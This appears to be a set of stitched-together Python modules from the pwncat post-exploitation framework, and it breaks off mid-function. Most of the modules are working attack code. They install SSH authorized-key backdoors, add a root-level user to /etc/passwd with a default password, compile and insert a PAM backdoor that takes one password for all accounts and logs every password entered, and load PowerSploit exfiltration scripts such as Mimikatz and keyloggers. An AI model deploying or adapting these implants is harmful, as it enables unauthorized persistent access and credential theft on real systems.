class Module(BaseModule): """ """ ARGUMENTS = {"arg1": Argument(type=int)} PLATFORM = pwncat.platform.Platform.ANY def run(self, arg1): values = [random.randint(1, 100) for _ in range(arg1)] for i in values: yield i time.sleep(1)
class Module(BaseModule): """ """ ARGUMENTS = {"arg1": Argument(type=int)} def run(self, arg1): categories = ["Category 1", "Category 2", "Category 3"] values = [random.randint(1, 100) for _ in range(arg1)] for i in values: yield TestResult(random.choice(categories), i) time.sleep(1)
class Module(BaseModule): """ Perform a quick enumeration of common useful data """ ARGUMENTS = { "output": Argument(str, default=None, help="Path a to file to write a markdown report") } PLATFORM = pwncat.modules.Platform.ANY def run(self, output): return pwncat.modules.run( "enumerate.gather", progress=self.progress, types=["system.*", "software.sudo.*", "file.suid"], output=output, )
class Module(BaseModule): """ Run common enumerations and produce a report. Optionally, write the report in markdown format to a file. """ PLATFORM = None ARGUMENTS = { "output": Argument( str, default="terminal", help= "Path to markdown file to store report (default: render to terminal)", ), "template": Argument( str, default="platform name", help="The name of the template to use (default: platform name)", ), "fmt": Argument( str, default="md", help= 'The format of the output. This can be "md" or "html". (default: md)', ), "custom": Argument( Bool, default=False, help= "Use a custom template; the template argument must be the path to a jinja2 template", ), } def generate_markdown_table(self, data: List[List], headers: bool = False): """Generate a markdown table from the given data and headers""" # Get column widths widths = [ max(len(data[r][c]) for r in range(len(data))) for c in range(len(data[0])) ] rows = [] for r in range(len(data)): rows.append("|" + "|".join([ " " + data[r][c] + " " * (widths[c] - len(data[r][c]) + 1) for c in range(len(data[r])) ]) + "|") if headers: rows.insert( 1, "|" + "|".join( [" " + "-" * widths[c] + " " for c in range(len(data[r]))]) + "|", ) return " \n".join(rows) def run(self, session: "pwncat.manager.Session", output, template, fmt, custom): """Perform enumeration and optionally write report""" if custom: env = jinja2.Environment( loader=jinja2.FileSystemLoader(os.getcwd()), # autoescape=jinja2.select_autoescape(["md", "html"]), trim_blocks=True, lstrip_blocks=True, ) else: env = jinja2.Environment( loader=jinja2.PackageLoader("pwncat", "data/reports"), # autoescape=jinja2.select_autoescape(["md", "html"]), trim_blocks=True, lstrip_blocks=True, ) if template == "platform name": use_platform = True template = session.platform.name else: use_platform = False env.filters["first_or_none"] = lambda thing: thing[0 ] if thing else None env.filters["attr_or"] = ( lambda fact, name, default=None: getattr(fact, name) if fact is not None else default) env.filters["title_or_unknown"] = ( lambda fact: strip_markup(fact.title(session)) if fact is not None else "unknown") env.filters["remove_rich"] = lambda thing: strip_markup(str(thing)) env.filters["table"] = self.generate_markdown_table try: template = env.get_template(f"{template}.{fmt}") except jinja2.TemplateNotFound as exc: if use_platform: try: template = env.get_template(f"generic.{fmt}") except jinja2.TemplateNotFound as exc: raise ModuleFailed(str(exc)) from exc else: raise ModuleFailed(str(exc)) from exc # Just some convenience things for the templates context = { "target": session.target, "manager": session.manager, "session": session, "platform": session.platform, "datetime": datetime.datetime.now(), } try: if output != "terminal": with open(output, "w") as filp: template.stream(context).dump(filp) else: markdown = Markdown(template.render(context), hyperlinks=False) console.print(markdown) except jinja2.TemplateError as exc: raise ModuleFailed(str(exc)) from exc
class EnumerateModule(BaseModule): """ Base class for all enumeration modules """ # List of categories/enumeration types this module provides # This should be set by the sub-classes to know where to find # different types of enumeration data PROVIDES = [] PLATFORM = Platform.LINUX # Defines how often to run this enumeration. The default is to # only run once per system/target. SCHEDULE = Schedule.ONCE # Arguments which all enumeration modules should take # This shouldn't be modified. Enumeration modules don't take any # parameters ARGUMENTS = { "types": Argument( List(str), default=[], help="A list of enumeration types to retrieve (default: all)", ), "clear": Argument( bool, default=False, help= "If specified, do not perform enumeration. Cleared cached results.", ), } def run(self, types, clear): """ Locate all facts this module provides. Sub-classes should not override this method. Instead, use the enumerate method. `run` will cross-reference with database and ensure enumeration modules aren't re-run. """ marker_name = self.name if self.SCHEDULE == Schedule.PER_USER: marker_name += f".{pwncat.victim.current_user.id}" if clear: # Delete enumerated facts query = pwncat.victim.session.query(pwncat.db.Fact).filter_by( source=self.name, host_id=pwncat.victim.host.id) query.delete(synchronize_session=False) # Delete our marker if self.SCHEDULE != Schedule.ALWAYS: query = (pwncat.victim.session.query(pwncat.db.Fact).filter_by( host_id=pwncat.victim.host.id, type="marker").filter( pwncat.db.Fact.source.startswith(self.name))) query.delete(synchronize_session=False) return # Yield all the know facts which have already been enumerated existing_facts = (pwncat.victim.session.query( pwncat.db.Fact).filter_by(source=self.name, host_id=pwncat.victim.host.id).filter( pwncat.db.Fact.type != "marker")) if types: for fact in existing_facts.all(): for typ in types: if fnmatch.fnmatch(fact.type, typ): yield fact else: yield from existing_facts.all() if self.SCHEDULE != Schedule.ALWAYS: exists = (pwncat.victim.session.query(pwncat.db.Fact.id).filter_by( host_id=pwncat.victim.host.id, type="marker", source=marker_name).scalar() is not None) if exists: return # Get any new facts for item in self.enumerate(): if isinstance(item, Status): yield item continue typ, data = item row = pwncat.db.Fact(host_id=pwncat.victim.host.id, type=typ, data=data, source=self.name) try: pwncat.victim.session.add(row) pwncat.victim.host.facts.append(row) pwncat.victim.session.commit() except sqlalchemy.exc.IntegrityError: pwncat.victim.session.rollback() yield Status(data) continue # Don't yield the actual fact if we didn't ask for this type if types: for typ in types: if fnmatch.fnmatch(row.type, typ): yield row else: yield Status(data) else: yield row # Add the marker if needed if self.SCHEDULE != Schedule.ALWAYS: row = pwncat.db.Fact( host_id=pwncat.victim.host.id, type="marker", source=marker_name, data=None, ) pwncat.victim.session.add(row) pwncat.victim.host.facts.append(row) def enumerate(self): """ Defined by sub-classes to do the actual enumeration of
class Module(ImplantModule): """ Install the custom backdoor key-pair as an authorized key for the specified user. This method only succeeds for a user other than the current user if you are currently root. """ PLATFORM = [Linux] ARGUMENTS = { **ImplantModule.ARGUMENTS, "user": Argument( str, default="__pwncat_current__", help= "the user for which to install the implant (default: current user)", ), "key": Argument(str, help="path to keypair which will be added for the user"), } def install(self, session: "pwncat.manager.Session", user, key): yield Status("verifying user permissions") current_user = session.current_user() if user != "__pwncat_current__" and current_user.id != 0: raise ModuleFailed( "only root can install implants for other users") if not os.path.isfile(key): raise ModuleFailed(f"private key {key} does not exist") try: yield Status("reading public key") with open(key + ".pub", "r") as filp: pubkey = filp.read().rstrip("\n") + "\n" except (FileNotFoundError, PermissionError) as exc: raise ModuleFailed(str(exc)) from exc # Parse user name (default is current user) if user == "__pwncat_current__": user_info = current_user else: user_info = session.find_user(name=user) # Ensure the user exists if user_info is None: raise ModuleFailed(f"user [blue]{user}[/blue] does not exist") # Ensure we haven't already installed for this user for implant in session.run("enumerate", types=["implant.*"]): if implant.source == self.name and implant.uid == user_info.uid: raise ModuleFailed( f"{self.name} already installed for {user_info.name}") # Ensure the directory exists yield Status("locating authorized keys") homedir = session.platform.Path(user_info.home) if not (homedir / ".ssh").is_dir(): (homedir / ".ssh").mkdir(parents=True, exist_ok=True) authkeys_path = homedir / ".ssh" / "authorized_keys" if authkeys_path.is_file(): try: yield Status("reading authorized keys") with authkeys_path.open("r") as filp: authkeys = filp.readlines() except (FileNotFoundError, PermissionError) as exc: raise ModuleFailed(str(exc)) from exc else: authkeys = [] # Add the public key to authorized keys authkeys.append(pubkey) try: yield Status("patching authorized keys") with authkeys_path.open("w") as filp: filp.writelines(authkeys) except (FileNotFoundError, PermissionError) as exc: raise ModuleFailed(str(exc)) from exc # Ensure correct permissions yield Status("fixing authorized keys permissions") session.platform.chown(str(authkeys_path), user_info.id, user_info.gid) authkeys_path.chmod(0o600) return AuthorizedKeyImplant(self.name, user_info, key, pubkey)
class PersistModule(BaseModule): """ Base class for all persistence modules. Persistence modules should inherit from this class, and implement the ``install``, ``remove``, and ``escalate`` methods. All modules must take a ``user`` argument. If the module is a "system" module, and can only be installed as root, then an error should be raised for any "user" that is not root. If you need your own arguments to a module, you can define your arguments like this: .. code-block:: python ARGUMENTS = { **PersistModule.ARGUMENTS, "your_arg": Argument(str) } All arguments **must** be picklable. They are stored in the database as a SQLAlchemy PickleType containing a dictionary of name-value pairs. """ TYPE: PersistType = PersistType.LOCAL """ Defines where this persistence module is useful (either remote connection or local escalation or both). This also identifies a given persistence module as applying to "all users" """ ARGUMENTS = { "user": Argument(str, help="The user to install persistence as"), "remove": Argument(Bool, default=False, help="Remove an installed module with these parameters"), "escalate": Argument( Bool, default=False, help="Utilize this persistence module to escalate locally", ), "connect": Argument( Bool, default=False, help= "Connect to a remote host with this module. Only valid from the connect command.", ), } """ The default arguments for any persistence module. If other arguments are specified in sub-classes, these must also be included to ensure compatibility across persistence modules. """ COLLAPSE_RESULT = True """ The ``run`` method returns a single scalar value even though it utilizes a generator to provide status updates. """ def __init__(self): super(PersistModule, self).__init__() if PersistType.ALL_USERS in self.TYPE: self.ARGUMENTS["user"].default = None self.ARGUMENTS[ "user"].help = "Ignored for install/remove. Defaults to root for escalate." self.ARGUMENTS["user"].type = str_or_none def run(self, remove, escalate, connect, **kwargs): """ This method should not be overriden by subclasses. It handles all logic for installation, escalation, connection, and removal. The standard interface of this method allows abstract interactions across all persistence modules. """ if "user" not in kwargs: raise RuntimeError(f"{self.__class__} must take a user argument") # We need to clear the user for ALL_USERS modules, # but it may be needed for escalate. requested_user = kwargs["user"] if PersistType.ALL_USERS in self.TYPE: kwargs["user"] = None # Check if this module has been installed with the same arguments before ident = (pwncat.victim.session.query( pwncat.db.Persistence.id).filter_by(host_id=pwncat.victim.host.id, method=self.name, args=kwargs).scalar()) # Remove this module if ident is not None and remove: # Run module-specific cleanup result = self.remove(**kwargs) if inspect.isgenerator(result): yield from result else: yield result # Remove from the database pwncat.victim.session.query(pwncat.db.Persistence).filter_by( host_id=pwncat.victim.host.id, method=self.name, args=kwargs).delete(synchronize_session=False) return elif ident is not None and escalate: # This only happens for ALL_USERS, so we assume they want root. if requested_user is None: kwargs["user"] = "******" else: kwargs["user"] = requested_user result = self.escalate(**kwargs) if inspect.isgenerator(result): yield from result else: yield result # There was no exception, so we assume it worked. Put the user # back in raw mode. This is a bad idea, since we may be running # escalate from a privesc context. # pwncat.victim.state = State.RAW return elif ident is not None and connect: if requested_user is None: kwargs["user"] = "******" else: kwargs["user"] = requested_user result = self.connect(**kwargs) if inspect.isgenerator(result): yield from result else: yield result return elif ident is None and (remove or escalate or connect): raise PersistError( f"{self.name}: not installed with these arguments") elif ident is not None: yield Status( f"{self.name}: already installed with matching arguments") return # Let the installer also produce results result = self.install(**kwargs) if inspect.isgenerator(result): yield from result elif result is not None: yield result self.register(**kwargs) def register(self, **kwargs): """ Register a module as installed, even if it wasn't installed by the bundled ``install`` method. This is mainly used during escalation when a standard persistence method is installed manually through escalation file read/write. """ if "user" not in kwargs: raise RuntimeError(f"{self.__class__} must take a user argument") # Register this persistence module in the database row = pwncat.db.Persistence( host_id=pwncat.victim.host.id, method=self.name, user=kwargs["user"], args=kwargs, ) pwncat.victim.host.persistence.append(row) pwncat.victim.session.commit() def install(self, **kwargs): """ Install this persistence module on the victim host. :param user: the user to install persistence as. In the case of ALL_USERS persistence, this should be ignored. :type user: str :param kwargs: Any custom arguments defined in your ``ARGUMENTS`` dictionary. :raises PersistError: All errors must be PersistError or a subclass thereof. """ raise NotImplementedError def remove(self, **kwargs): """ Remove this persistence module from the victim host. :param user: the user to install persistence as. In the case of ALL_USERS persistence, this should be ignored. :type user: str :param kwargs: Any custom arguments defined in your ``ARGUMENTS`` dictionary. :raises PersistError: All errors must be PersistError or a subclass thereof. """ raise NotImplementedError def escalate(self, **kwargs): """ Escalate locally from the current user to another user by using this persistence module. :param user: the user to install persistence as. In the case of ALL_USERS persistence, this should be ignored. :type user: str :param kwargs: Any custom arguments defined in your ``ARGUMENTS`` dictionary. :raises PersistError: All errors must be PersistError or a subclass thereof. """ raise NotImplementedError def connect(self, **kwargs) -> socket.SocketType: """ Connect to a victim host by utilizing this persistence module. The host address can be found in the ``pwncat.victim.host`` object. :param user: the user to install persistence as. In the case of ALL_USERS persistence, this should be ignored. :type user: str :param kwargs: Any custom arguments defined in your ``ARGUMENTS`` dictionary. :rtype: socket.SocketType :return: An open channel to the victim :raises PersistError: All errors must be PersistError or a subclass thereof. """ raise NotImplementedError
class Module(PersistModule): """ Install the custom backdoor key-pair as an authorized key for the specified user. This method only succeeds for a user other than the current user if you are currently root. """ # We can escalate locally with `ssh localhost` TYPE = PersistType.LOCAL | PersistType.REMOTE PLATFORM = Platform.LINUX ARGUMENTS = { **PersistModule.ARGUMENTS, "backdoor_key": Argument(str, help="Path to a private/public key pair to install"), } def install(self, user, backdoor_key): """ Install this persistence method """ homedir = pwncat.victim.users[user].homedir if not homedir or homedir == "": raise PersistError("no home directory") # Create .ssh directory if it doesn't exist access = pwncat.victim.access(os.path.join(homedir, ".ssh")) if Access.DIRECTORY not in access or Access.EXISTS not in access: pwncat.victim.run(["mkdir", "-p", os.path.join(homedir, ".ssh")]) # Create the authorized_keys file if it doesn't exist access = pwncat.victim.access( os.path.join(homedir, ".ssh", "authorized_keys")) if Access.EXISTS not in access: pwncat.victim.run( ["touch", os.path.join(homedir, ".ssh", "authorized_keys")]) pwncat.victim.run([ "chmod", "600", os.path.join(homedir, ".ssh", "authorized_keys") ]) authkeys = [] else: try: # Read in the current authorized keys if it exists with pwncat.victim.open( os.path.join(homedir, ".ssh", "authorized_keys"), "r") as filp: authkeys = filp.readlines() except (FileNotFoundError, PermissionError) as exc: raise PersistError(str(exc)) try: # Read our public key with open(backdoor_key + ".pub", "r") as filp: pubkey = filp.readlines() except (FileNotFoundError, PermissionError) as exc: raise PersistError(str(exc)) # Ensure we read a public key if not pubkey: raise PersistError( f"{pwncat.config['privkey']+'.pub'}: empty public key") # Add our public key authkeys.extend(pubkey) authkey_data = "".join(authkeys) # Write the authorized keys back to the authorized keys try: with pwncat.victim.open( os.path.join(homedir, ".ssh", "authorized_keys"), "w", length=len(authkey_data), ) as filp: filp.write(authkey_data) except (FileNotFoundError, PermissionError) as exc: raise PersistError(str(exc)) # Ensure we have correct permissions for ssh to work properly pwncat.victim.env( ["chmod", "600", os.path.join(homedir, ".ssh", "authorized_keys")]) pwncat.victim.env([ "chown", f"{user}:{user}", os.path.join(homedir, ".ssh", "authorized_keys"), ]) # Register the modifications with the tamper module pwncat.victim.tamper.modified_file(os.path.join( homedir, ".ssh", "authorized_keys"), added_lines=pubkey) def remove(self, user, backdoor_key): """ Remove this persistence method """ try: # Read our public key with open(backdoor_key + ".pub", "r") as filp: pubkey = filp.readlines() except (FileNotFoundError, PermissionError) as exc: raise PersistError(str(exc)) # Find the user's home directory homedir = pwncat.victim.users[user].homedir if not homedir or homedir == "": raise PersistError("no home directory") # Remove the tamper tracking for tamper in pwncat.victim.tamper.filter(pwncat.tamper.ModifiedFile): if (tamper.path == os.path.join(homedir, ".ssh", "authorized_keys") and tamper.added_lines == pubkey): try: # Attempt to revert our changes tamper.revert() except pwncat.tamper.RevertFailed as exc: raise PersistError(str(exc)) # Remove the tamper tracker pwncat.victim.tamper.remove(tamper) break else: raise PersistError("failed to find matching tamper") def escalate(self, user, backdoor_key): """ Locally escalate to the given user with this method """ try: # Ensure there is an SSH server sshd = pwncat.victim.find_service("sshd") except ValueError: return False # Ensure it is running if not sshd.running: return False # Upload the private key with pwncat.victim.tempfile( "w", length=os.path.getsize(backdoor_key)) as dst: with open(backdoor_key, "r") as src: shutil.copyfileobj(src, dst) privkey_path = dst.name # Ensure correct permissions try: pwncat.victim.env(["chmod", "600", privkey_path]) except FileNotFoundError: # We don't have chmod :( this probably won't work, but # we can try it. pass # Run SSH, disabling password authentication to force public key # Don't wait for the result, because this won't exit pwncat.victim.env( [ "ssh", "-i", privkey_path, "-o", "StrictHostKeyChecking=no", "-o", "PasswordAuthentication=no", f"{user}@localhost", ], wait=False, ) # Delete the private key. This either worked and we didn't need it # or it didn't work and we still don't need it. try: pwncat.victim.env(["rm", "-f", privkey_path]) except FileNotFoundError: # File removal failed because `rm` doesn't exist. Register it as a tamper. pwncat.victim.tamper.created_file(privkey_path) return True def connect(self, user, backdoor_key: str) -> socket.SocketType: """ Reconnect to this host with this persistence method """ try: # Connect to the remote host's ssh server sock = socket.create_connection((pwncat.victim.host.ip, 22)) except Exception as exc: raise PersistError(str(exc)) # Create a paramiko SSH transport layer around the socket t = paramiko.Transport(sock) try: t.start_client() except paramiko.SSHException: raise PersistError("ssh negotiation failed") try: # Load the private key for the user key = paramiko.RSAKey.from_private_key_file(backdoor_key) except: password = prompt("RSA Private Key Passphrase: ", is_password=True) key = paramiko.RSAKey.from_private_key_file(backdoor_key, password) # Attempt authentication try: t.auth_publickey(user, key) except paramiko.ssh_exception.AuthenticationException: raise PersistError("authorized key authentication failed") if not t.is_authenticated(): t.close() sock.close() raise PersistError("authorized key authentication failed") # Open an interactive session chan = t.open_session() chan.get_pty() chan.invoke_shell() return chan
class Module(ImplantModule): """Add a user to /etc/passwd with a known password and UID/GID of 0.""" TYPE = ImplantType.REPLACE PLATFORM = [Linux] ARGUMENTS = { **ImplantModule.ARGUMENTS, "backdoor_user": Argument( str, default="pwncat", help="name of new uid=0 user (default: pwncat)" ), "backdoor_pass": Argument( str, default="pwncat", help="password for new user (default: pwncat)" ), "shell": Argument( str, default="current", help="shell for new user (default: current)" ), } def install( self, session: "pwncat.manager.Session", backdoor_user, backdoor_pass, shell, ): """Add the new user""" if session.current_user().id != 0: raise ModuleFailed("installation required root privileges") if shell == "current": shell = session.platform.getenv("SHELL") if shell is None: shell = "/bin/sh" try: yield Status("reading passwd contents") with session.platform.open("/etc/passwd", "r") as filp: passwd_contents = list(filp) except (FileNotFoundError, PermissionError): raise ModuleFailed("faild to read /etc/passwd") # Hash the password yield Status("hashing password") backdoor_hash = crypt.crypt(backdoor_pass, crypt.METHOD_SHA512) # Store the new line we are adding new_line = f"""{backdoor_user}:{backdoor_hash}:0:0::/root:{shell}\n""" # Add the new line passwd_contents.append(new_line) try: # Write the new contents yield Status("patching /etc/passwd") with session.platform.open("/etc/passwd", "w") as filp: filp.writelines(passwd_contents) # Return an implant tracker return PasswdImplant(self.name, backdoor_user, backdoor_pass, new_line) except (FileNotFoundError, PermissionError): raise ModuleFailed("failed to write /etc/passwd")
class Module(BaseModule): """ Load and execute modules from the PowerSploit PowerShell library. Modules are loaded in groups referring to the directory structure of PowerSploit. Passing no arguments to this module will list all available groups. Modules are downloaded directly from GitHub and sideloaded to the target. The PowerSploit source can be seen at https://github.com/PowerShellMafia/PowerSploit """ MODULES = { "recon": [ "Recon/Get-ComputerDetail.ps1", "Recon/Get-HttpStatus.ps1", "Recon/Invoke-CompareAttributesForClass.ps1", "Recon/Invoke-Portscan.ps1", "Recon/Invoke-ReverseDnsLookup.ps1", "Recon/PowerView.ps1", ], "privesc": [ "Privesc/PowerUp.ps1", "Privesc/Get-System.ps1", ], "persist": [ "Persistence/Persistence.psm1", ], "mayhem": [ "Mayhem/Mayhem.psm1", ], "exfil": [ "Exfiltration/Get-GPPAutologon.ps1", "Exfiltration/Get-GPPPassword.ps1", "Exfiltration/Get-Keystrokes.ps1", "Exfiltration/Get-MicrophoneAudio.ps1", "Exfiltration/Get-TimedScreenshot.ps1", "Exfiltration/Get-VaultCredential.ps1", "Exfiltration/Invoke-CredentialInjection.ps1", "Exfiltration/Invoke-Mimikatz.ps1", "Exfiltration/Invoke-NinjaCopy.ps1", "Exfiltration/Invoke-TokenManipulation.ps1", "Exfiltration/Out-Minidump.ps1", "Exfiltration/VolumeShadowCopyTools.ps1", ], "exec": [ "CodeExecution/Invoke-DllInjection.ps1", "CodeExecution/Invoke-ReflectivePEInjection.ps1", "CodeExecution/Invoke-Shellcode.ps1", "CodeExecution/Invoke-WmiCommand.ps1", ], "bypass": [ "AntivirusBypass/Find-AVSignature.ps1", ], "script": [ "ScriptModification/Out-CompressedDll.ps1", "ScriptModification/Out-EncodedCommand.ps1", "ScriptModification/Out-EncryptedScript.ps1", "ScriptModification/Remove-Comment.ps1", ], } POWERSPLOIT_URL = ( "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/" ) PLATFORM = [Windows] ARGUMENTS = { "group": Argument( str, default="list", help= "Name of the PowerSploit module group to load (default: list groups)", ), } POWERUP_URL = "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1" def run(self, session: "pwncat.manager.Session", group: str): # Use the result system so that other modules can query available groups if group == "list": yield from (GroupInfo(name) for name in self.MODULES.keys()) return # Ensure the user selected a valid group if group not in self.MODULES: raise ModuleFailed(f"no such PowerSploit module: {group}") # Iterate over all sources in the group for url in self.MODULES[group]: yield Status(f"loading {url.split('/')[-1]}") path = pkg_resources.resource_filename( "pwncat", os.path.join("data/PowerSploit", url)) try: # Attempt to load the script in the PowerShell context. session.run("manage.powershell.import", path=path) except PowershellError as exc: # We failed, but continue loading other scripts. Just let the user know. session.log(f"while loading {url.split('/')[-1]}: {str(exc)}")
class EnumerateModule(BaseModule): """Base class for all enumeration modules. As discussed above, an enumeration module must define the :func:`enumerate` method, provide a list of supported platforms, a list of provided fact types and a schedule. The base enumeration module's :func:`run` method will provide a few routines and options. You can filter the results of this module with the ``types`` argument. This causes the module to only return the types specified. You can also tell the module to clear any cached data from the database generated by this module. Lastly, if you specify ``cache=False``, the module will only return new facts that were not cached in the database already. """ # List of categories/enumeration types this module provides # This should be set by the sub-classes to know where to find # different types of enumeration data PROVIDES: typing.List[str] = [] """ List of fact types which this module is capable of providing """ PLATFORM: typing.List[typing.Type[Platform]] = [] """ List of supported platforms for this module """ SCHEDULE: Schedule = Schedule.ONCE """ Determine the run schedule for this enumeration module """ # Arguments which all enumeration modules should take # This shouldn't be modified. Enumeration modules don't take any # parameters ARGUMENTS = { "types": Argument( List(str), default=[], help="A list of enumeration types to retrieve (default: all)", ), "clear": Argument( bool, default=False, help= "If specified, do not perform enumeration. Cleared cached results.", ), "cache": Argument( bool, default=True, help="return cached facts along with new facts (default: True)", ), } """ Arguments accepted by all enumeration modules. This **should not** be overridden. """ def run( self, session: "pwncat.manager.Session", types: typing.List[str], clear: bool, cache: bool, ): """Locate all facts this module provides. Sub-classes should not override this method. Instead, use the enumerate method. `run` will cross-reference with database and ensure enumeration modules aren't re-run. :param session: the session on which to run the module :type session: pwncat.manager.Session :param types: list of requested fact types :type types: List[str] :param clear: whether to clear all cached enumeration data :type clear: bool :param cache: whether to return facts from the database or only new facts :type cache: bool """ # Retrieve the DB target object target = session.target if clear: # Filter out all facts which were generated by this module target.facts = persistent.list.PersistentList( (f for f in target.facts if f.source != self.name)) # Remove the enumeration state if available if self.name in target.enumerate_state: del target.enumerate_state[self.name] return # Yield all the know facts which have already been enumerated if cache and types: cached = [ f for f in target.facts if f.source == self.name and any( any( fnmatch.fnmatch(item_type, req_type) for req_type in types) for item_type in f.types) ] elif cache: cached = [f for f in target.facts if f.source == self.name] else: cached = [] yield from cached # Check if the module is scheduled to run now if (self.name in target.enumerate_state) and ( (self.SCHEDULE == Schedule.ONCE and self.name in target.enumerate_state) or (self.SCHEDULE == Schedule.PER_USER and session.platform.getuid() in target.enumerate_state[self.name])): return for item in self.enumerate(session): # Allow non-fact status updates if isinstance(item, Status) or self.SCHEDULE == Schedule.NOSAVE: yield item continue # Only add the item if it doesn't exist for f in target.facts: if f == item: break else: target.facts.append(item) # Don't yield the actual fact if we didn't ask for this type if not types or any( any( fnmatch.fnmatch(item_type, req_type) for req_type in types) for item_type in item.types): for c in cached: if item == c: break else: yield item else: yield Status(item.title(session)) # Update state for restricted modules if self.SCHEDULE == Schedule.ONCE: target.enumerate_state[self.name] = True elif self.SCHEDULE == Schedule.PER_USER: if self.name not in target.enumerate_state: target.enumerate_state[ self.name] = persistent.list.PersistentList() target.enumerate_state[self.name].append(session.platform.getuid()) def enumerate( self, session: "pwncat.manager.Session" ) -> typing.Generator[Fact, None, None]: """Enumerate facts according to the types listed in ``PROVIDES``.
class Module(BaseModule): """Interact with installed implants in an open session. This module provides the ability to remove implants as well as manually escalate with a given implant. Implants implementing local escalation will automatically be picked up by the `escalate` command, however this module provides an alternative way to trigger escalation manually.""" PLATFORM = None """ No platform restraints """ ARGUMENTS = { "remove": Argument(Bool, default=False, help="remove installed implants"), "escalate": Argument(Bool, default=False, help="escalate using an installed local implant"), } def run(self, session, remove, escalate): """Perform the requested action""" if (not remove and not escalate) or (remove and escalate): raise ModuleFailed("expected one of escalate or remove") # Look for matching implants implants = list( implant for implant in session.run("enumerate", types=["implant.*"]) if not escalate or "implant.replace" in implant.types or "implant.spawn" in implant.types) try: session._progress.stop() console.print("Found the following implants:") for i, implant in enumerate(implants): console.print(f"{i+1}. {implant.title(session)}") if remove: prompt = "Which should we remove (e.g. '1 2 4', default: all)? " elif escalate: prompt = "Which should we attempt escalation with (e.g. '1 2 4', default: all)? " while True: selections = Prompt.ask(prompt, console=console) if selections == "": break try: implant_ids = [int(idx.strip()) for idx in selections] # Filter the implants implants: List[Implant] = [ implants[i - 1] for i in implant_ids ] break except (IndexError, ValueError): console.print("[red]error[/red]: invalid selection!") finally: session._progress.start() nremoved = 0 for implant in implants: if remove: try: yield Status(f"removing: {implant.title(session)}") implant.remove(session) session.target.facts.remove(implant) nremoved += 1 except KeepImplantFact: # Remove implant types but leave the fact implant.types.remove("implant.remote") implant.types.remove("implant.replace") implant.types.remove("implant.spawn") nremoved += 1 except ModuleFailed: session.log( f"[red]error[/red]: removal failed: {implant.title(session)}" ) elif escalate: try: yield Status( f"attempting escalation with: {implant.title(session)}" ) result = implant.escalate(session) if "implant.spawn" in implant.types: # Move to the newly established session session.manager.target = result else: # Track the new shell layer in the current session session.layers.append(result) session.platform.refresh_uid() session.log( f"escalation [green]succeeded[/green] with: {implant.title(session)}" ) break except ModuleFailed: continue else: if escalate: raise ModuleFailed( "no working local escalation implants found") if nremoved: session.log(f"removed {nremoved} implants from target") # Save database modifications session.db.transaction_manager.commit()
class Module(ImplantModule): """ Install a backdoor PAM module which allows authentication with a single password for all users. This PAM module does not interrupt authentication with correct user passwords. Further, it will log all entered passwords (except the backdoor password) to a log file which can be collected with the creds.pam enumeration module. The installed module will be named `pam_succeed.so`. """ PLATFORM = [Linux] ARGUMENTS = { **ImplantModule.ARGUMENTS, "password": Argument(str, help="The password to use for the backdoor"), "log": Argument( str, default="/var/log/firstlog", help="Remote path to store logged user/password combinations", ), } def install(self, session: "pwncat.manager.Session", password, log): """install the pam module""" if session.current_user().id != 0: raise ModuleFailed( "root permissions required to install pam module") if any(i.source == self.name for i in session.run("enumerate", types=["implant.replace"])): raise ModuleFailed( "only one pam implant may be installed at a time") yield Status("loading pam module source code") with open(pkg_resources.resource_filename("pwncat", "data/pam.c"), "r") as filp: sneaky_source = filp.read() yield Status("checking selinux state") for selinux in session.run("enumerate", types=["system.selinux"]): if selinux.enabled and "enforc" in selinux.mode: raise ModuleFailed("selinux enabled in enforce mode") elif selinux.enabled: session.log( "[yellow]warning[/yellow]: selinux is enabled; implant will be logged!" ) # Hash the backdoor password and prepare for source injection password_hash = ",".join( hex(c) for c in hashlib.sha1(password.encode("utf-8")).digest()) yield Status("patching module source code") # Inject password hash into source code sneaky_source = sneaky_source.replace("__PWNCAT_HASH__", password_hash) # Inject log path sneaky_source = sneaky_source.replace("__PWNCAT_LOG__", log) try: yield Status("compiling pam module") lib_path = session.platform.compile( [io.StringIO(sneaky_source)], suffix=".so", cflags=["-shared", "-fPIE"], ldflags=["-lcrypto"], ) except (PlatformError, NotImplementedError) as exc: raise ModuleFailed(str(exc)) from exc try: yield Status("locating pam modules... ") result = session.platform.run( "find / -name pam_deny.so 2>/dev/null | grep -v 'snap/'", shell=True, capture_output=True, text=True, check=True, ) pam_location = session.platform.Path( result.stdout.strip().split("\n")[0]).parent except CalledProcessError as exc: try: session.platform.run(["rm", "-f", lib_path], check=True) except CalledProcessError: session.register_fact( CreatedFile(source=self.name, uid=0, path=lib_path)) raise ModuleFailed( "failed to locate pam installation location") from exc yield Status("copying pam module") session.platform.run( ["mv", lib_path, str(pam_location / "pam_succeed.so")]) added_line = "auth\tsufficient\tpam_succeed.so\n" modified_configs = [] config_path = session.platform.Path("/", "etc", "pam.d") yield Status("patching pam configuration: ") for config in ["common-auth"]: yield Status(f"patching pam configuration: {config}") try: with (config_path / config).open("r") as filp: content = filp.readlines() except (PermissionError, FileNotFoundError): continue any("pam_rootok" in line for line in content) for i, line in enumerate(content): if "pam_rootok" in line: content.insert(i + 1, added_line) break elif line.startswith("auth"): content.insert(i, added_line) break else: content.append(added_line) try: with (config_path / config).open("w") as filp: filp.writelines(content) modified_configs.append(config) except (PermissionError, FileNotFoundError): continue if not modified_configs: (pam_location / "pam_succeed.so").unlink() raise ModuleFailed("failed to add module to configuration") return PamImplant( self.name, password, log, str(pam_location / "pam_succeed.so"), modified_configs, added_line, )
class Module(PersistModule): """ Install a backdoor PAM module which allows authentication with a single password for all users. This PAM module does not interrupt authentication with correct user passwords. Further, it will log all entered passwords (except the backdoor password) to a log file which can be collected with the creds.pam enumeration module. The installed module will be named `pam_succeed.so`. """ TYPE = PersistType.LOCAL | PersistType.REMOTE | PersistType.ALL_USERS PLATFORM = Platform.LINUX ARGUMENTS = { **PersistModule.ARGUMENTS, "password": Argument(str, help="The password to use for the backdoor"), "log": Argument( str, default="/var/log/firstlog", help="Location where username/passwords will be logged", ), } def install(self, user: str, password: str, log: str): """ Install this module """ if user is not None: self.progress.log( f"[yellow]warning[/yellow]: {self.name}: this module applies to all users" ) if pwncat.victim.current_user.id != 0: raise PersistError("must be root") # Read the source code with open(pkg_resources.resource_filename("pwncat", "data/pam.c"), "r") as filp: sneaky_source = filp.read() yield Status("checking selinux state") # SELinux causes issues depending on it's configuration for selinux in pwncat.modules.run( "enumerate.gather", progress=self.progress, types=["system.selinux"] ): if selinux.data.enabled and 